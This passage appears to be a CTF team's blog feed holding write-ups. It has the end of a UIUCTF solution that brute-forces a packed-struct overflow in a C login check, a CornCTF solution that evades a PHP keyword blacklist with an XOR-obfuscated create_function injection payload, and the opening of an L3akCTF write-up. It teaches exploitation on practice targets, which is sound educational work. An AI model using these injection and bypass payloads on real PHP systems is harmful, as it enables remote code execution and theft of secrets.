</span></span><span style="display:flex;"><span>    FILE *fp = <span style="color:#41a1c0">fopen</span>(<span style="color:#fc6a5d">&#34;flag.txt&#34;</span>, <span style="color:#fc6a5d">&#34;r&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (fp == <span style="color:#d0a8ff">NULL</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Error: Quantum vault is offline</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Please contact the quantum administrator.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">char</span> flag[<span style="color:#d0bf69">100</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (<span style="color:#41a1c0">fgets</span>(flag, <span style="color:#fc5fa3">sizeof</span>(flag), fp) != <span style="color:#d0a8ff">NULL</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;CLASSIFIED FLAG: %s</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, flag);
</span></span><span style="display:flex;"><span>    } <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Error: Quantum decryption failed</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Please contact the quantum administrator.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">fclose</span>(fp);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">quantum_data_t</span> qdata;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">setvbuf</span>(stdout, <span style="color:#d0a8ff">NULL</span>, _IONBF, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">setvbuf</span>(stdin, <span style="color:#d0a8ff">NULL</span>, _IONBF, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">setvbuf</span>(stderr, <span style="color:#d0a8ff">NULL</span>, _IONBF, <span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">init_quantum_security</span>(&amp;qdata);
</span></span><span style="display:flex;"><span>    qdata.password.val = <span style="color:#d0bf69">0x555</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Initializing quantum security protocols...</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">volatile</span> <span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">100000</span>; i++) { }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Quantum entropy generated. System ready.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Please enter your quantum authentication code: &#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// qdata.input.val is a short !!!
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">if</span> (<span style="color:#41a1c0">scanf</span>(<span style="color:#fc6a5d">&#34;%d&#34;</span>, (<span style="color:#fc5fa3">int</span>*)&amp;qdata.input.val) != <span style="color:#d0bf69">1</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Invalid quantum input format!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    qdata.input.checksum = (quantum_byte)(qdata.input.val &amp; <span style="color:#d0bf69">0xff</span>);
</span></span><span style="display:flex;"><span>    not_int_big hashed_input = <span style="color:#41a1c0">quantum_hash</span>(qdata.input, qdata.entropy_pool);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Quantum hash computed: 0x%x</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, hashed_input);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (hashed_input == qdata.password.val) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">access_granted</span>();
</span></span><span style="display:flex;"><span>    } <span style="color:#fc5fa3">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Quantum authentication failed!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Access denied. Incident logged.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Since the constant is known (<code>0x555</code>) and the domain of the input is small (32-bit),
we can just bruteforce it!</p>
<p>Valid solutions can be found by changing the main function like so:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">quantum_data_t</span> qdata;
</span></span><span style="display:flex;"><span>    qdata.password.val = <span style="color:#d0bf69">0x555</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">int</span> i = INT_MIN; i &lt; INT_MAX; i++) {
</span></span><span style="display:flex;"><span>        seed = <span style="color:#d0bf69">0x42</span>;
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">init_quantum_security</span>(&amp;qdata);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#41a1c0">memcpy</span>(&amp;qdata.input.val, &amp;i, <span style="color:#fc5fa3">sizeof</span>(<span style="color:#fc5fa3">int</span>));
</span></span><span style="display:flex;"><span>		qdata.input.checksum = (quantum_byte)(qdata.input.val &amp; <span style="color:#d0bf69">0xff</span>);
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">int</span> hashed_input = <span style="color:#41a1c0">quantum_hash</span>(qdata.input, qdata.entropy_pool);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> (hashed_input == qdata.password.val) {
</span></span><span style="display:flex;"><span>			<span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Found %d</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, i);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>	<span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Done</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>In a few seconds we find a lot of negative numbers (32560 to be exact) that match our expected hash!</p>
<pre tabindex="0"><code>...
Found -1141148752
Found -1141148750
Found -1141148748
Found -1141148746
Found -1141148744
...
</code></pre><p>Now we can profit:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ncat --ssl qas.chal.uiuc.tf <span style="color:#41a1c0">1337</span>
</span></span><span style="display:flex;"><span>== proof-of-work: <span style="color:#41a1c0">disabled</span> ==
</span></span><span style="display:flex;"><span>=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===
</span></span><span style="display:flex;"><span>Initializing quantum security protocols...
</span></span><span style="display:flex;"><span>Quantum entropy generated. System ready.
</span></span><span style="display:flex;"><span>Please enter your quantum authentication code: -1141148674
</span></span><span style="display:flex;"><span>Quantum <span style="color:#d0a8ff">hash</span> computed: 0x555
</span></span><span style="display:flex;"><span>Quantum authentication successful!
</span></span><span style="display:flex;"><span>Accessing secured vault...
</span></span><span style="display:flex;"><span>CLASSIFIED FLAG: uiuctf{qu4ntum_0v3rfl0w_2d5ad975653b8f29}
</span></span></code></pre></div><p>With the cheesy solution out of the way, what is the vuln here?</p>
<p><code>scanf(&quot;%d&quot;, (int*)&amp;qdata.input.val)</code> reads 4 bytes into the input struct. But the <code>val</code> field is a short!
Since the struct is packed, this means that we are overwriting the following field, which in this case is a <code>char[2]</code> called <code>padding</code>.</p>
<p>Contrary to common sense, this field is actually used in the hash function: <code>hash ^= input.padding[0] &lt;&lt; 8 | input.padding[1];</code></p>
<p>By providing certain negative numbers we can obtain the right output value and win.
Also note that there are no positive solutions.</p>
]]></content></item><item><title>CornCTF 2025 - phpislovephpislife 3</title><link>https://theromanxpl0.it/posts/2025/07/cornctf-2025-phpislovephpislife-3/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/cornctf-2025-phpislovephpislife-3/</guid><description>&lt;p>As the title suggests, straightforward PHP shenanigans.&lt;/p>
&lt;p>Let&amp;rsquo;s dive in.&lt;/p>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>There&amp;rsquo;s only one file we need to look at, and the author has been kind enough to highlight the relevant parts for us&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-php" data-lang="php">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> (isset(&lt;span style="color:#41a1c0">$_POST&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;code&amp;#39;&lt;/span>])) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$code&lt;/span> = &lt;span style="color:#41a1c0">$_POST&lt;/span>[&lt;span style="color:#fc6a5d">&amp;#39;code&amp;#39;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986">// I &amp;lt;3 blacklists
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#41a1c0">$characters&lt;/span> = [&lt;span style="color:#fc6a5d">&amp;#39;\`&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\[&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\*&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\.&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\\\\&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\=&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\+&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\$&amp;#39;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$classes&lt;/span> = get_declared_classes();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$functions&lt;/span> = get_defined_functions()[&lt;span style="color:#fc6a5d">&amp;#39;internal&amp;#39;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$strings&lt;/span> = [&lt;span style="color:#fc6a5d">&amp;#39;eval&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;include&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;require&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;function&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;flag&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;echo&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;print&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\$.*\{.*\$&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;\}[^\{]*\}&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;?&amp;gt;&amp;#39;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$variables&lt;/span> = [&lt;span style="color:#fc6a5d">&amp;#39;_GET&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_POST&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_COOKIE&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_REQUEST&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_SERVER&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_FILES&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_ENV&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;HTTP_ENV_VARS&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;_SESSION&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;GLOBALS&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;variables&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;strings&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;blacklist&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;functions&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;classes&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;code&amp;#39;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$blacklist&lt;/span> = array_merge(&lt;span style="color:#41a1c0">$characters&lt;/span>, &lt;span style="color:#41a1c0">$classes&lt;/span>, &lt;span style="color:#41a1c0">$functions&lt;/span>, &lt;span style="color:#41a1c0">$variables&lt;/span>, &lt;span style="color:#41a1c0">$strings&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">foreach&lt;/span> (&lt;span style="color:#41a1c0">$blacklist&lt;/span> &lt;span style="color:#fc5fa3">as&lt;/span> &lt;span style="color:#41a1c0">$blacklisted&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (preg_match(&lt;span style="color:#fc6a5d">&amp;#39;/&amp;#39;&lt;/span> . &lt;span style="color:#41a1c0">$blacklisted&lt;/span> . &lt;span style="color:#fc6a5d">&amp;#39;/im&amp;#39;&lt;/span>, &lt;span style="color:#41a1c0">$code&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$output&lt;/span> = &lt;span style="color:#fc6a5d">&amp;#39;No hacks pls&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (count(&lt;span style="color:#41a1c0">$_GET&lt;/span>) != &lt;span style="color:#d0bf69">0&lt;/span> || count(&lt;span style="color:#41a1c0">$_POST&lt;/span>) &amp;gt; &lt;span style="color:#d0bf69">1&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$output&lt;/span> = &lt;span style="color:#fc6a5d">&amp;#39;No hacks pls&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (!isset(&lt;span style="color:#41a1c0">$output&lt;/span>)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">$my_function&lt;/span> = create_function(&lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>, &lt;span style="color:#41a1c0">$code&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986">// $output = $my_function(); // I don&amp;#39;t trust you
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#41a1c0">$output&lt;/span> = &lt;span style="color:#fc6a5d">&amp;#39;This function is disabled.&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">echo&lt;/span> &lt;span style="color:#41a1c0">$output&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There&amp;rsquo;s a pretty strict blacklist in place that won&amp;rsquo;t allow us to use any of the convenient php tools to carry out our exploit: no built-in functions, no superglobals and very few available symbols.&lt;/p></description><content type="html"><![CDATA[<p>As the title suggests, straightforward PHP shenanigans.</p>
<p>Let&rsquo;s dive in.</p>
<h2 id="overview">Overview</h2>
<p>There&rsquo;s only one file we need to look at, and the author has been kind enough to highlight the relevant parts for us</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> (isset(<span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#39;code&#39;</span>])) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$code</span> = <span style="color:#41a1c0">$_POST</span>[<span style="color:#fc6a5d">&#39;code&#39;</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986">// I &lt;3 blacklists
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#41a1c0">$characters</span> = [<span style="color:#fc6a5d">&#39;\`&#39;</span>, <span style="color:#fc6a5d">&#39;\[&#39;</span>, <span style="color:#fc6a5d">&#39;\*&#39;</span>, <span style="color:#fc6a5d">&#39;\.&#39;</span>, <span style="color:#fc6a5d">&#39;\\\\&#39;</span>, <span style="color:#fc6a5d">&#39;\=&#39;</span>, <span style="color:#fc6a5d">&#39;\+&#39;</span>, <span style="color:#fc6a5d">&#39;\$&#39;</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$classes</span> = get_declared_classes();
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$functions</span> = get_defined_functions()[<span style="color:#fc6a5d">&#39;internal&#39;</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$strings</span> = [<span style="color:#fc6a5d">&#39;eval&#39;</span>, <span style="color:#fc6a5d">&#39;include&#39;</span>, <span style="color:#fc6a5d">&#39;require&#39;</span>, <span style="color:#fc6a5d">&#39;function&#39;</span>, <span style="color:#fc6a5d">&#39;flag&#39;</span>, <span style="color:#fc6a5d">&#39;echo&#39;</span>, <span style="color:#fc6a5d">&#39;print&#39;</span>, <span style="color:#fc6a5d">&#39;\$.*\{.*\$&#39;</span>, <span style="color:#fc6a5d">&#39;\}[^\{]*\}&#39;</span>, <span style="color:#fc6a5d">&#39;?&gt;&#39;</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$variables</span> = [<span style="color:#fc6a5d">&#39;_GET&#39;</span>, <span style="color:#fc6a5d">&#39;_POST&#39;</span>, <span style="color:#fc6a5d">&#39;_COOKIE&#39;</span>, <span style="color:#fc6a5d">&#39;_REQUEST&#39;</span>, <span style="color:#fc6a5d">&#39;_SERVER&#39;</span>, <span style="color:#fc6a5d">&#39;_FILES&#39;</span>, <span style="color:#fc6a5d">&#39;_ENV&#39;</span>, <span style="color:#fc6a5d">&#39;HTTP_ENV_VARS&#39;</span>, <span style="color:#fc6a5d">&#39;_SESSION&#39;</span>, <span style="color:#fc6a5d">&#39;GLOBALS&#39;</span>, <span style="color:#fc6a5d">&#39;variables&#39;</span>, <span style="color:#fc6a5d">&#39;strings&#39;</span>, <span style="color:#fc6a5d">&#39;blacklist&#39;</span>, <span style="color:#fc6a5d">&#39;functions&#39;</span>, <span style="color:#fc6a5d">&#39;classes&#39;</span>, <span style="color:#fc6a5d">&#39;code&#39;</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">$blacklist</span> = array_merge(<span style="color:#41a1c0">$characters</span>, <span style="color:#41a1c0">$classes</span>, <span style="color:#41a1c0">$functions</span>, <span style="color:#41a1c0">$variables</span>, <span style="color:#41a1c0">$strings</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">foreach</span> (<span style="color:#41a1c0">$blacklist</span> <span style="color:#fc5fa3">as</span> <span style="color:#41a1c0">$blacklisted</span>) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (preg_match(<span style="color:#fc6a5d">&#39;/&#39;</span> . <span style="color:#41a1c0">$blacklisted</span> . <span style="color:#fc6a5d">&#39;/im&#39;</span>, <span style="color:#41a1c0">$code</span>)) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#41a1c0">$output</span> = <span style="color:#fc6a5d">&#39;No hacks pls&#39;</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (count(<span style="color:#41a1c0">$_GET</span>) != <span style="color:#d0bf69">0</span> || count(<span style="color:#41a1c0">$_POST</span>) &gt; <span style="color:#d0bf69">1</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$output</span> = <span style="color:#fc6a5d">&#39;No hacks pls&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (!isset(<span style="color:#41a1c0">$output</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$my_function</span> = create_function(<span style="color:#fc6a5d">&#39;&#39;</span>, <span style="color:#41a1c0">$code</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// $output = $my_function(); // I don&#39;t trust you
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        <span style="color:#41a1c0">$output</span> = <span style="color:#fc6a5d">&#39;This function is disabled.&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">echo</span> <span style="color:#41a1c0">$output</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>There&rsquo;s a pretty strict blacklist in place that won&rsquo;t allow us to use any of the convenient php tools to carry out our exploit: no built-in functions, no superglobals and very few available symbols.</p>
<p>What are we exploiting exactly?</p>
<p>This part right here:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (!isset(<span style="color:#41a1c0">$output</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">$my_function</span> = create_function(<span style="color:#fc6a5d">&#39;&#39;</span>, <span style="color:#41a1c0">$code</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986">// $output = $my_function(); // I don&#39;t trust you
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>        <span style="color:#41a1c0">$output</span> = <span style="color:#fc6a5d">&#39;This function is disabled.&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">echo</span> <span style="color:#41a1c0">$output</span>;
</span></span></code></pre></div><p>The author thought cleverly to stop our function from executing by commenting <code>$output</code> out, unfortunately for him, though, <code>create_function</code> still takes our input as an argument, so we can just insert our own comment at the end of our inputted code and let the <code>eval</code> that create_function runs internally do its magic.</p>
<h3 id="how-does-this-work-exactly">How does this work <em>exactly</em></h3>
<p>Internally, eval does something of the sort:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#41a1c0">$wrapper</span> = <span style="color:#fc6a5d">&#39;function __lambda&#39;</span>.<span style="color:#41a1c0">$uniq</span>.<span style="color:#fc6a5d">&#39;() { &#39;</span> . <span style="color:#41a1c0">$code</span> . <span style="color:#fc6a5d">&#39;; }&#39;</span>;
</span></span></code></pre></div><p>and then runs <code>eval($wrapper)</code></p>
<p>Everything inside <code>{}</code> doesn&rsquo;t get executed but is rather defined as the function&rsquo;s body;
<strong>however</strong>, if we close the curly bracket at the start of our injected code, we can leave the function&rsquo;s context and <code>eval</code> will execute our code, granting us RCE.</p>
<p>But how do we take advantage of this?</p>
<p>There are a few flaws in the blacklist implementation, notably, it allows <code>die()</code> and several symbols that we can use to craft a payload.</p>
<h2 id="exploitation-phase">Exploitation phase</h2>
<p>With a bit of fuzzing and recalling that PHP allows operations on strings such as XOR, we can obfuscate our input <code>die(getenv(flag))</code> in such a way that it bypasses the blocklist.</p>
<p>Final payload:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>};<span style="color:#fc5fa3">die</span>((<span style="color:#fc6a5d">&#39;WUDU^F&#39;</span>^<span style="color:#fc6a5d">&#39;000000&#39;</span>)((<span style="color:#fc6a5d">&#39;v|qw&#39;</span>)^<span style="color:#fc6a5d">&#39;0000&#39;</span>));<span style="color:#6c7986">//
</span></span></span></code></pre></div><ul>
<li><code>'WUDU^F'^'000000'</code> is <code>getenv</code> xorred</li>
<li><code>'v|qw')^'0000'</code> is <code>FLAG</code> xorred</li>
</ul>
<p>This is only possible because PHP allows functions to be called by referencing them as strings</p>
<p><a href="https://www.youtube.com/watch?v=hRnUR7fJdaU&amp;list=RDhRnUR7fJdaU&amp;start_radio=1">https://www.youtube.com/watch?v=hRnUR7fJdaU&amp;list=RDhRnUR7fJdaU&amp;start_radio=1</a></p>
]]></content></item><item><title>L3akCTF 2025 - Certay</title><link>https://theromanxpl0.it/posts/2025/07/l3akctf-2025-certay/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/l3akctf-2025-certay/</guid><description>&lt;p>A mixture of variable confusion, type juggling and broken crypto, let&amp;rsquo;s take a look.&lt;/p>
&lt;h2 id="examining-the-vulnerability">Examining the vulnerability&lt;/h2>
&lt;p>We have a few different files at our disposal, but the only one we care about is &lt;code>dashboard.php&lt;/code>.&lt;/p>
&lt;p>There are a few glaring issues with the code that stand out at a glance&lt;/p>
